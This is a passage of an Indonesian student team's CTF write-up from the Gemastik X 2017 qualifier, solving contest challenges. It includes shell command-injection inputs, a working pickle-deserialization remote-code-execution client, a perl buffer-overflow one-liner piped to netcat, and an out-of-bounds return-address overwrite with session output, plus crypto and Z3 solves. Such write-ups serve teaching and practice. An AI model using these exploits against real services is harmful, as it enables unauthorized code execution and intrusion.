Target​ ​:​ ​nc​ ​target​.​netsec​.​gemastik​.​ui​.​ac​.​id​ ​60002

Solusi  

Diberikan​ ​random-string-generator.py​ ​: 

import​​ ​subprocess

import​​ ​sys

print​​ ​"==​ ​Gemastik​ ​Random​ ​String​ ​Generator​ ​=="

length​ ​=​ ​raw_input​(​'Insert​ ​Length:​ ​')

if​​ ​'|'​​ ​not​​ ​in​​ ​length​ ​and​​ ​'&'​​ ​not​​ ​in​​ ​length:

​ ​ ​ ​ ​cmd​ ​=​ ​"head​ ​/dev/urandom​ ​|​ ​tr​ ​-dc​ ​'a-zA-Z0-9'​ ​|​ ​fold​ ​-w​ ​'%s'​ ​|​ ​head​ ​-n​ ​1"​​ ​%​ ​ ​length

​ ​ ​ ​ ​print​​ ​cmd

​ ​ ​ ​ ​ps​ ​=​ ​subprocess​.​Popen​(​cmd​,​ ​shell​=​True​,​ ​stdout​=​subprocess​.​PIPE​,​ ​stderr​=​subprocess​.​STDOUT)

​ ​ ​ ​ ​output​ ​=​ ​ps​.​communicate​()[​0]

​ ​ ​ ​ ​print​​ ​output 
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

Dapat​ ​dilihat​ ​bahwa​ ​kita​ ​dapat​ ​melakukan​ ​command​ ​injection​ ​pada​ ​string​ ​length. 
Ada​ ​2(yang​ ​kami​ ​ketahui)​ ​cara​ ​untuk​ ​mendapatkan​ ​flag,​ ​yaitu​ ​:  

1. Inputkan​ ​‘;​ ​ls’​ ​.​ ​kemudian​ ​‘;​ ​cat​ ​flag.txt’ 


2. Lakukan​ ​‘;sh’​ ​untuk​ ​mendapatkan​ ​shell.​ ​Namun​ ​outputnya​ ​akan​ ​muncul 
saat​ ​kita​ ​melakukan​ ​‘exit’.​ ​Jadi​ ​jalankan​ ​‘;sh’​ ​dua​ ​kali​ ​(pertama 
untuk​ ​ls,​ ​kemudian​ ​untuk​ ​flag) 

FLAG​ ​:​ ​GEMASTIK{shelly_shell_sh3ll_execuzzionnn} 

Soal​ ​3​ ​:​ ​Python​ ​Auth​ ​2​ ​(100​ ​pts) 


 

"Suatu​ ​layanan​ ​jaringan​ ​client​ ​&​ ​server​ ​yang​ ​melakukan​ ​otentikasi​ ​dibuat​ ​dengan​ ​menggunakan
Python​ ​3.​ ​Berkas​ ​client2.py​ ​dan​ ​server2.py​ ​yang​ ​merupakan​ ​pengembangan​ ​dari​ ​yang​ ​sebelumnya
dapat​ ​Anda​ ​unduh​ ​di​ ​bawah."

Target​ ​:​ ​python3​ ​client2​.​py​ ​target​.​netsec​.​gemastik​.​ui​.​ac​.​id​ ​60003

Solusi  

Pada​ ​python​ ​auth​ ​kedua​ ​dilakukan​ ​perhitungan​ ​hash​ ​sha1​ ​di​ ​server,​ ​dan​ ​mukan​ ​di 
client​ ​(​ ​seperti​ ​python​ ​auth​ ​1​ ​).​ ​Namun​ ​sayangnya​ ​pesan​ ​dikemas​ ​dengan 
pickle.dumps​ ​dan​ ​dibuka​ ​dengan​ ​pickle.loads,​ ​kesalahan​ ​ini​ ​dapat​ ​dimanfaatkan 
untuk​ ​melakukan​ ​command​ ​injection.  

Berikut​ ​adalah​ ​fungsi​ ​handle​ ​pada​ ​server.py: 

class​​ ​incoming​(​socketserver​.​BaseRequestHandler​):

​ ​ ​ ​ ​def​​ ​handle​(​self​):

​ ​ ​ ​ ​ ​ ​ ​ ​req​ ​=​ ​self​.​request


 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

​ ​ ​ ​ ​ ​ ​ ​ ​recv​ ​=​ ​req​.​recv​(​2056​)[:-​1]

​ ​ ​ ​ ​ ​ ​ ​ ​serialized​ ​=​ ​base64​.​b64decode​(​recv)

​ ​ ​ ​ ​ ​ ​ ​ ​cred​ ​=​ ​pickle​.​loads​(​serialized)

​ ​ ​ ​ ​ ​ ​ ​ ​username​ ​=​ ​cred​[​'username']

​ ​ ​ ​ ​ ​ ​ ​ ​password​ ​=​ ​hashlib​.​sha256​(​cred​[​'password'​].​encode​(​'utf-8'​)).​hexdigest​()

​ ​ ​ ​ ​ ​ ​ ​ ​if​​ ​username​ ​==​​ ​b​"admin"​​ ​and​​ ​password​ ​==


b​"26b458222708d1910b79632ff5bc3d231d41fa0bbbcbf95f14d972eb8402dc79":

​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​flag​ ​=​ ​open​(​'flag.txt'​,​ ​'r'​).​read​().​encode​(​'utf-8')

​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​req​.​sendall​(​b​"Authentication​ ​Success​ ​%s\n"​​ ​%​ ​flag)

​ ​ ​ ​ ​ ​ ​ ​ ​else:

​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​req​.​sendall​(​b​"Authentication​ ​Failed")

​ ​ ​ ​ ​ ​ ​ ​ ​req​.​close​() 

Penyelesaian​ ​dilakukan​ ​dengan​ ​merubah​ ​data​ ​serialized​ ​menjadi​ ​fungsi​ ​exploit, 


dengan​ ​client2_modified.py​ ​(lakukan​ ​dua​ ​kali,​ ​untuk​ ​command​ ​‘ls’,​ ​dan​ ​‘cat 
flag.txt’​ ​: 

#!/usr/bin/python3

import​​ ​os

import​​ ​base64

import​​ ​getpass

import​​ ​hashlib

import​​ ​pickle

import​​ ​socket

import​​ ​sys

class​​ ​Exploit​(​object​):

​ ​ ​ ​ ​def​​ ​__reduce__​(​self​):

​ ​ ​ ​ ​ ​ ​ ​ ​return​​ ​(​os​.​system​,​ ​(​'ls'​,))


 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

if​​ ​len​(​sys​.​argv​)​ ​<​ ​3:

​ ​ ​ ​ ​print​(​"Usage:​ ​./%s​ ​IP​ ​Port"​​ ​%​ ​sys​.​argv​[​0​])

​ ​ ​ ​ ​exit​()

host​ ​=​ ​sys​.​argv​[​1]

port​ ​=​ ​int​(​sys​.​argv​[​2​])

username​ ​=​ ​input​(​"Username:​ ​")

password​ ​=​ ​getpass​.​getpass​(​"Password:​ ​")

cred​ ​=​ ​{​"username"​​ ​:​ ​username​,​ ​"password"​​ ​:​ ​password}

serialized​ ​=​ ​base64​.​b64encode​(​pickle​.​dumps​(​Exploit​()))

print​(​serialized)

s​ ​=​ ​socket​.​socket​(​socket​.​AF_INET​,​ ​socket​.​SOCK_STREAM)

s​.​connect​((​host​,​ ​port​))

s​.​send​(​serialized​ ​+​ ​"\n"​.​encode​(​'utf-8'​))

response​ ​=​ ​s​.​recv​(​1024)

print​(​response​.​decode​(​'utf-8'​)) 

Script​ ​di​ ​atas​ ​dijalankan​ ​dengan:  

$python3​ ​client2_modified.py​ ​target.netsec.gemastik.ui.ac.id​ ​60003 

FLAG​ ​:​ ​GEMASTIK{serialization_attack_is_popular_nowadays} 

 
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

Soal​ ​4​ ​:​ ​Random​ ​String​ ​Generator​ ​2​ ​(100​ ​pts) 


 

"Layanan​ ​jaringan​ ​ini​ ​menggunakan​ ​socat​ ​untuk​ ​melakukan​ ​forking​ ​terhadap​ ​berkas​ ​program
Python.​ ​Program​ ​Python​ ​yang​ ​dijalankan​ ​memiliki​ ​fungsi​ ​untuk​ ​melakukan​ ​generate​ ​random
string.​ ​Berkas​ ​random-string-generator2.py​ ​yang​ ​merupakan​ ​pengembangan​ ​dari​ ​yang​ ​sebelumnya
dapat​ ​Anda​ ​unduh​ ​di​ ​bawah."

Target​ ​:​ ​nc​ ​target​.​netsec​.​gemastik​.​ui​.​ac​.​id​ ​60004

Solusi  

Pada​ ​soal​ ​random​ ​string​ ​generator​ ​2​ ​ini​ ​ditambahkan​ ​filter​ ​untuk​ ​beberapa 
karakter​ ​:  

if​​ ​'​ ​'​ ​not​​ ​in​​ ​length​ ​and​​ ​'$'​​ ​not​​ ​in​​ ​length​ ​and​​ ​'|'​​ ​not​​ ​in​​ ​length​ ​and​​ ​'&'​​ ​not​​ ​in​​ ​length​ ​and
len​(​length​)​ ​<=​​ ​8:

Dapat​ ​dilakukan​ ​Remote​ ​Command​ ​Execution​ ​untuk​ ​mendapatkan​ ​flag​ ​dengan​ ​dua 
cara​ ​:  

1. Lakukan​ ​‘;​ ​ls’,​ ​kemudian​ ​‘;catflag.txt’​ ​(menggunakan​ ​tab,​ ​bukan​ ​spasi​ ​) 
2. Lakukan​ ​‘;sh’,​ ​lalu​ ​ketikan​ ​command​ ​,​ ​kemudian​ ​ketikan​ ​command​ ​exit. 
Lakukan​ ​dua​ ​kali​ ​untuk​ ​mendapatkan​ ​flag.txt​ ​(​ ​ls,​ ​dan​ ​cat​ ​)​ ​.  

FLAG​ ​:​ ​ ​GEMASTIK{outsmart_RCE_limitation_with_ur_brain} 

 
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

Soal​ ​5​ ​:​ ​Net​ ​Crack​ ​(100​ ​pts) 


 

"Pada​ ​challenge​ ​ini​ ​Anda​ ​ditantang​ ​untuk​ ​memecahkan​ ​alur​ ​program​ ​yang​ ​diberikan​ ​untuk
mendapatkan​ ​data​ ​rahasia​ ​yang​ ​ada​ ​pada​ ​server.​ ​Program​ ​ELF​ ​netcrack​ ​yang​ ​harus​ ​Anda​ ​pecahkan
dapat​ ​Anda​ ​unduh​ ​di​ ​bawah."

Target​ ​:​ ​nc​ ​target​.​netsec​.​gemastik​.​ui​.​ac​.​id​ ​60005

Solusi  

Berikut​ ​hasil​ ​decompile​ ​dengan​ ​IDA​ ​:  

Fungsi​ ​crackme​ ​: 

​ ​  
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

Fungsi​ ​check1​ ​:  

Fungsi​ ​check2​ ​: 

Fungsi​ ​check3​ ​: 

Fungsi​ ​check4​ ​:  

Dapat​ ​dilihat​ ​bahwa​ ​program​ ​akan​ ​meminta​ ​5​ ​angka​ ​dengan​ ​ketentuan​ ​tertentu, 
masalah​ ​ini​ ​dapat​ ​kita​ ​lihat​ ​sebagai​ ​permasalahN​ ​satisfiability.​ ​Dapat 
diselesaikan​ ​menggunakan​ ​Z3​ ​(solve.py):  

from​​ ​z3​ ​import​​ ​*

v1​ ​=​ ​Int​(​'v1')


 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

v2​ ​=​ ​Int​(​'v2')

v3​ ​=​ ​Int​(​'v3')

v4​ ​=​ ​Int​(​'v4')

v5​ ​=​ ​Int​(​'v5')

solve​(​v1​ ​>​ ​v3​,​ ​v1​ ​>​ ​v5​,​ ​(​v2​ ​+​ ​1337​)​ ​==​​ ​v5​,​ ​(​v1​-​v3​)​ ​==​​ ​v4​,​ ​(​v3​*​v5​)​ ​==​​ ​v4)

Jalankan​ ​dan​ ​didapatkan​ ​output​ ​:​ ​[v4​ ​=​ ​4,​ ​v5​ ​=​ ​-1,​ ​v3​ ​=​ ​-4,​ ​v1​ ​=​ ​0,​ ​v2​ ​= 
-1338] 

Masukkan​ ​‘0​ ​-1338​ ​-4​ ​4​ ​-1’​ ​ke​ ​dalam​ ​service. 

FLAG​ ​:​ ​GEMASTIK{$basic_cracking_f0r_analyzing_binary$} 

Soal​ ​6​ ​:​ ​Access​ ​Protocol​ ​(125​ ​pts) 


 

"Layanan​ ​jaringan​ ​ini​ ​meminta​ ​password​ ​agar​ ​dapat​ ​diakses.​ ​Anda​ ​tidak​ ​mengetahui
passwordnya.​ ​Tentu​ ​saja​ ​Anda​ ​sebagai​ ​hacker​ ​harus​ ​mencari​ ​cara​ ​untuk​ ​masuk​ ​ke​ ​dalam​ ​layanan
tersebut.​ ​Program​ ​ELF​ ​access-protocol​ ​yang​ ​digunakan​ ​server​ ​dapat​ ​Anda​ ​unduh​ ​di​ ​bawah."

Target​ ​:​ ​nc​ ​target​.​netsec​.​gemastik​.​ui​.​ac​.​id​ ​60006

Solusi  

Berikut​ ​hasil​ ​decompile​ ​dengan​ ​IDA​ ​:  

Fungsi​ ​main​ ​:  


 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

Fungsi​ ​sub_4007C6​ ​:  

 
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

Pada​ ​awalnya​ ​kami​ ​mengira​ ​bahwa​ ​ini​ ​permasalahan​ ​ret2libc,​ ​karena​ ​tidak​ ​ada 
fungsi​ ​untuk​ ​membuka​ ​flag​ ​(​ ​dan​ ​binary​ ​dilindungi​ ​canary​ ​dan​ ​nx​ ​)​ ​-_-​ ​.​ ​Namun 
pada​ ​menit​ ​akhir​ ​kami​ ​mencoba​ ​untuk​ ​mendapatkan​ ​puts(‘Authenticated’),​ ​yaitu 
dengan​ ​cara​ ​menimpa​ ​lokasi​ ​memori​ ​&ptr​ ​(berisi​ ​password)​ ​supaya​ ​sama​ ​dengan 
apa​ ​yang​ ​ada​ ​di​ ​&s1​ ​(inputan​ ​user).​ ​Karena​ ​inputan​ ​&s1​ ​menggunakan​ ​gets,​ ​maka 
dapat​ ​dilakukan​ ​buffer​ ​overflow​ ​sampai​ ​&2.  

Perhatikan​ ​lokasi​ ​&1​ ​[sp+10h]​ ​dan​ ​&ptr​ ​[sp+20h]​ ​,​ ​artinya​ ​jarak​ ​antar​ ​keduanya 
adalah​ ​16​ ​bytes.​ ​Maka​ ​dapat​ ​dilakukan​ ​buffer​ ​overflow​ ​dengan​ ​cara​ ​: 

$​ ​perl​ ​-​e​ ​'print​ ​"\x00"x17​ ​.​ ​"\n"'​​ ​|​ ​nc​ ​target​.​netsec​.​gemastik​.​ui​.​ac​.​id​ ​60006

Gemastik​​ ​Access​​ ​Protocol​​ ​Service

Password​:​ ​Authenticated

GEMASTIK​{​__bypassing_auth_like_a_1337_​*}

FLAG​ ​:​ ​GEMASTIK​{​__bypassing_auth_like_a_1337_​*} 

Soal​ ​7​ ​:​ ​Lottery​ ​Redux​ ​(150​ ​pts) 


 

"Mesin​ ​lotere​ ​yang​ ​tahun​ ​lalu​ ​diretas​ ​telah​ ​diperbaiki.​ ​Kini​ ​mesin​ ​ini​ ​bisa​ ​digunakan
kembali.​ ​Anda​ ​pun​ ​ingin​ ​mencoba​ ​menguji​ ​keamanan​ ​mesin​ ​tersebut​ ​yang​ ​terhubung​ ​dengan
jaringan.​ ​Program​ ​ELF​ ​lottery-redux​ ​yang​ ​digunakan​ ​dapat​ ​Anda​ ​unduh​ ​di​ ​bawah."

Target​ ​:​ ​nc​ ​target​.​netsec​.​gemastik​.​ui​.​ac​.​id​ ​60007

Solusi  

Hasil​ ​decompile​ ​dengan​ ​IDA​ ​:  


 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

Fungsi​ ​main​ ​: 

 
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

Dapat​ ​dilihat​ ​bahwa​ ​tidak​ ​ada​ ​batasan​ ​slot​ ​index​ ​untuk​ ​>​ ​10,​ ​yang​ ​artinya​ ​kita 
dapat​ ​melakukan​ ​arbritary​ ​memory​ ​write​ ​pada​ ​stack​ ​setelah​ ​v14.​ ​Kita​ ​dapat 
melakukan​ ​write​ ​pada​ ​address​ ​RIP​ ​main​ ​menjadi​ ​address​ ​prize​ ​(​ ​0x400906​ ​). 
Untuk​ ​melakukan​ ​itu,​ ​pertama​ ​kita​ ​harus​ ​mengetahui​ ​beberapa​ ​hal​ ​: 

1. RIP​ ​main​ ​:​ ​0x7fffffffde28​ ​(memori​ ​address​ ​lokal) 


2. V14​ ​ ​ ​ ​ ​ ​:​ ​0x7fffffffdda0​ ​(memori​ ​address​ ​lokal) 
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

3. Maka​ ​jarak​ ​v14​ ​dengan​ ​RIP​ ​main​ ​:​ ​0x7fffffffde28​ ​-​ ​0x7fffffffdda0​ ​=​ ​136 
bytes 
4. Karena​ ​yang​ ​diwrite​ ​adalah​ ​integer,​ ​maka​ ​136/14​ ​=​ ​34​ ​(​ ​masukkan​ ​35​ ​pada 
saat​ ​exploit,​ ​karena​ ​akan​ ​dikurangi​ ​1​ ​index​ ​) 
5. Integer​ ​dari​ ​memory​ ​address​ ​prize()​ ​:​ ​0x400906​ ​ ​=​ ​4196614 
6. Karena​ ​binary​ ​64​ ​bit,​ ​maka​ ​kosongkan​ ​index​ ​ke​ ​35​ ​(36​ ​pada​ ​saat​ ​exploit​ ​) 
juga.  

$​ ​nc​ ​target​.​netsec​.​gemastik​.​ui​.​ac​.​id​ ​60007

Lottery​​ ​Machine​​ ​v2​.0

Guess​​ ​7​ ​slot​ ​out​​ ​of​ ​10

​ ​ ​?​ ​ ​?​ ​ ​?​ ​ ​?​ ​ ​?​ ​ ​?​ ​ ​?​ ​ ​?​ ​ ​?​ ​ ​?

​ ​ ​-​ ​ ​-​ ​ ​-​ ​ ​-​ ​ ​-​ ​ ​-​ ​ ​-​ ​ ​-​ ​ ​-​ ​ ​-

​ ​ ​1​ ​ ​2​ ​ ​3​ ​ ​4​ ​ ​5​ ​ ​6​ ​ ​7​ ​ ​8​ ​ ​9​ ​ ​10

Choose​​ ​slot​ ​index​ ​(​1​-​10​)​ ​:​ ​35

Guess​​ ​the​ ​number​ ​(​0​-​9​)​ ​:​ ​4196614

​ ​ ​?​ ​ ​?​ ​ ​?​ ​ ​?​ ​ ​?​ ​ ​?​ ​ ​?​ ​ ​?​ ​ ​?​ ​ ​?

​ ​ ​-​ ​ ​-​ ​ ​-​ ​ ​-​ ​ ​-​ ​ ​-​ ​ ​-​ ​ ​-​ ​ ​-​ ​ ​-

​ ​ ​1​ ​ ​2​ ​ ​3​ ​ ​4​ ​ ​5​ ​ ​6​ ​ ​7​ ​ ​8​ ​ ​9​ ​ ​10

Choose​​ ​slot​ ​index​ ​(​1​-​10​)​ ​:​ ​36

Guess​​ ​the​ ​number​ ​(​0​-​9​)​ ​:​ ​0

---​ ​Lanjutkan​ ​dengan​ ​slot​ ​sembarang.


 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

FLAG​ ​:​ ​GEMASTIK{array_out_of_bound_is_still_popular_vuln_everywh3r3__} 

Soal​ ​8​ ​:​ ​Maze​ ​(200​ ​pts)​ ​-​ ​Unsolved 


 

"Online​ ​Game​ ​pada​ ​dasarnya​ ​menggunakan​ ​jaringan​ ​untuk​ ​melakukan​ ​komunikasi​ ​baik​ ​menggunakan
TCP​ ​maupun​ ​UDP.​ ​Kali​ ​ini​ ​Anda​ ​harus​ ​meretas​ ​sebuah​ ​permainan​ ​Labirin​ ​yang​ ​online​ ​menggunakan
TCP.​ ​Sepintas​ ​permainan​ ​ini​ ​tidak​ ​dapat​ ​diselesaikan​ ​dengan​ ​'cara​ ​biasa'.​ ​Program​ ​maze​ ​yang
digunakan​ ​dapat​ ​Anda​ ​unduh​ ​di​ ​bawah."

Target​ ​:​ ​nc​ ​target​.​netsec​.​gemastik​.​ui​.​ac​.​id​ ​60008

   
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

KATEGORI​ ​:​ ​Cryptography 

Soal​ ​1​ ​:​ ​Simple​ ​Cryptosystems​ ​(75​ ​pts) 


 

"Anda​ ​diundang​ ​oleh​ ​National​ ​Crypto​ ​Institute​ ​untuk​ ​mengikuti​ ​ujian​ ​intelijen.​ ​Seorang
intelijen​ ​haruslah​ ​mahir​ ​dalam​ ​hal​ ​persandian​ ​dan​ ​kriptografi.​ ​Selain​ ​itu,​ ​kriptografi​ ​juga
memiliki​ ​peran​ ​penting​ ​dalam​ ​keamanan​ ​jaringan​ ​dan​ ​sistem​ ​informasi.

Sebagai​ ​permulaan​,​ ​Anda​ ​diharuskan​ ​memecahkan​ ​sebuah​ ​kriptografi​ ​yang​ ​dibuat​ ​menggunakan
Python​.​ ​Anda​ ​dapat​ ​mengunduh​ ​berkas​ ​simple​-​cryptosystem​.​py​ ​dan​ ​juga​ ​encrypted​.​txt​.​ ​Tugas
Anda​ ​adalah​ ​mendekripsi​ ​pesan​ ​yang​ ​terdapat​ ​pada​ ​encrypted​.​txt​."

Solusi  

Perhatikan​ ​fungsi​ ​encrypt​ ​:  

def​​ ​encrypt​(​plaintext_file​,​ ​target​,​ ​key_file​):

​ ​ ​io_plaintext​ ​=​ ​open​(​plaintext_file​,​ ​'r')

​ ​ ​io_target​ ​=​ ​open​(​target​,​ ​'w')

​ ​ ​io_key​ ​=​ ​open​(​key_file​,​ ​'r')

​ ​ ​key​ ​=​ ​io_key​.​read​()

​ ​ ​if​​ ​(​len​(​key​)​ ​!=​​ ​26​):

​ ​ ​ ​ ​print​​ ​"Invalid​ ​Key​ ​Length\n";

​ ​ ​ ​ ​return
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

​ ​ ​plaintext​ ​=​ ​io_plaintext​.​read​()

​ ​ ​for​​ ​c​ ​in​​ ​plaintext:

​ ​ ​ ​ ​if​​ ​c​.​isupper​():

​ ​ ​ ​ ​ ​ ​temp​ ​=​ ​c​.​lower​()

​ ​ ​ ​ ​ ​ ​idx​ ​=​ ​ord​(​temp​)​ ​-​ ​ord​(​'a')

​ ​ ​ ​ ​ ​ ​enc​ ​=​ ​key​[​idx​].​upper​()

​ ​ ​ ​ ​ ​ ​io_target​.​write​(​enc)

​ ​ ​ ​ ​elif​​ ​c​.​islower​():

​ ​ ​ ​ ​ ​ ​idx​ ​=​ ​ord​(​c​)​ ​-​ ​ord​(​'a')

​ ​ ​ ​ ​ ​ ​enc​ ​=​ ​key​[​idx]

​ ​ ​ ​ ​ ​ ​io_target​.​write​(​enc)

​ ​ ​ ​ ​else:

​ ​ ​ ​ ​ ​ ​io_target​.​write​(​c)

​ ​ ​io_plaintext​.​close​()

​ ​ ​io_target​.​close​()

​ ​ ​io_key​.​close​()

​ ​ ​return 

Dapat​ ​disimpulkan​ ​bahwa​ ​ini​ ​adalah​ ​substitution​ ​cipher.​ ​Perhatikan​ ​baris 


terakhir​ ​pada​ ​encrypted.txt​ ​:  

YFTZXPAO{oqedq_ihzaqpfvp_dahh_sfhi_ler_pe_wbfzo_xetf_mblipexlxpftx} 

Karena​ ​kita​ ​tahu​ ​bahwa​ ​YFTXPAO​ ​=​ ​GEMASTIK,​ ​lakukan​ ​dekripsi​ ​seperti​ ​berikut​ ​:  

 
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

subs​ ​=​ ​'YFTZXPAO'

known​=​ ​'GEMASTIK'

f​ ​=​ ​open​(​'encrypted.txt'​,​ ​'r'​).​read​()

h​ ​=​ ​''

for​​ ​c​ ​in​​ ​f:

​ ​ ​ ​ ​if​​ ​c​.​upper​()​​ ​in​​ ​subs:

​ ​ ​ ​ ​ ​ ​ ​ ​if​​ ​c​.​islower​():

​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​temp​ ​=​ ​c​.​upper​()

​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​h​ ​+=​​ ​known​[​subs​.​index​(​temp​)].​lower​()

​ ​ ​ ​ ​ ​ ​ ​ ​elif​​ ​c​.​isupper​():

​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​h​ ​+=​​ ​known​[​subs​.​index​(​c​)]

​ ​ ​ ​ ​ ​ ​ ​ ​else:

​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​ ​h​ ​+=​​ ​c

​ ​ ​ ​ ​else:

​ ​ ​ ​ ​ ​ ​ ​ ​h​+=​​ ​c

print​​ ​h 

Kemudian​ ​dengan​ ​menebak​ ​satu​ ​persatu​ ​huruf,​ ​akhirnya​ ​didapatkan​ ​pasangan 


substitusi​ ​:  

subs​ ​=​ ​'YFTZXPAOLCQVHSGRIWEBMDU'

known​=​ ​'GEMASTIKYDNXLHFUPBORCWJ' 

FLAG​ ​:​ ​GEMASTIK{known_plaintext_will_help_you_to_break_some_cryptosystems}. 

 
 
 
Writeup​ ​Penyisihan​ ​Gemastik​ ​X​ ​Kategori​ ​Keamanan​ ​Jaringan​ ​&​ ​Sistem​ ​Informasi​ ​2017 

Tukang​ ​Hekel​ ​Fesbuk​ ​(UGM) 


Mohammad​ ​Rizky​ ​Irfianto    
Ahmad​ ​Widardi 
 
 

07​ ​OKTOBER​ ​2017​ ​Universitas​ ​Gadjah​ ​Mada 

Soal​ ​2​ ​:​ ​Cipher​ ​Machine​ ​(100​ ​pts) 


 

